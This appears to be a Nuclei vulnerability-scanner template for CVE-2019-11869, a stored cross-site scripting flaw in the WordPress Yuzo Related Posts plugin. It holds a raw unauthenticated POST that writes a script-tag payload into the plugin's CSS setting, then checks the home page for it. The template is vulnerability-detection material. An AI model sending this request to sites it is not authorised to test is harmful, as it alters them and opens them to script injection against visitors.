id: CVE-2019-11869

info:
  name: WordPress Yuzo <5.12.94 - Cross-Site Scripting
  author: ganofins
  severity: medium
  description: |
    WordPress Yuzo Related Posts plugin before 5.12.94 is vulnerable to cross-site scripting
    because it mistakenly expects that is_admin() verifies that the
    request comes from an admin user (it actually only verifies that the
    request is for an admin page). An unauthenticated attacker can consequently inject
    a payload into the plugin settings, such as the
    yuzo_related_post_css_and_style setting.
  remediation: |
    Update to the latest version of the Yuzo plugin (5.12.94 or higher) to mitigate this vulnerability.
  reference:
    - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
    - https://wpscan.com/vulnerability/9254
    - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild/
    - https://wpvulndb.com/vulnerabilities/9254
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11869
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-11869
    cwe-id: CWE-79
    epss-score: 0.00321
    epss-percentile: 0.67304
    cpe: cpe:2.3:a:yuzopro:yuzo:5.12.94:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: yuzopro
    product: yuzo
    framework: wordpress
  tags: wpscan,cve,cve2019,wordpress,wp-plugin,xss

http:
  - raw:
      - |
        POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        yuzo_related_post_css_and_style=</style><script>alert(0);</script>
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    req-condition: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "<script>alert(0);</script>")'

      - type: dsl
        dsl:
          - "contains(tolower(header_2), 'text/html')"

# digest: 490a0046304402206583d46e42e7881b63c6bf80b39c5475147532b3fe2ec06f5cb98e4d1fbc8f890220069a1a6547f0c383ca65d39b35f0000169215e08330f51f946528c7a14a4d2c4:922c64590222798bb761d5b6d8e72950